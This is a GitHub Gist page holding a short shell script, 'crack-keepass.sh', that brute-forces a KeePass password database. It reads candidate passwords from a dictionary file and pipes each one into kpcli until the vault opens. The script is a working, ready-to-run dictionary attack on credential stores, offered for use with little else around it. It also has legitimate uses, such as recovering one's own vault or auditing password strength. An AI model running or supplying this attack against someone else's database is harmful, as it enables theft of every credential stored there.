Skip to content

Instantly share code, notes, and snippets.

@fachinformatiker
Forked from kiyui/crack-keepass.sh
Created October 13, 2022 07:55
Show Gist options
  • Select an option

  • Save fachinformatiker/cecfecc41e8a4e012a551a942febc328 to your computer and use it in GitHub Desktop.

Select an option

Save fachinformatiker/cecfecc41e8a4e012a551a942febc328 to your computer and use it in GitHub Desktop.
Brute force a Keepass database file with a dictionary attack
#!/bin/sh
# Usage: ./crack-keepass.sh passwords.kdbx dict.txt
#
# The dictionary file can be generated with:
# https://github.com/TimurKiyivinski/permutatify
while read i
do
echo "Using password: \"$i\""
echo "$i" | kpcli --kdb=$1 && exit 0
done < $2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment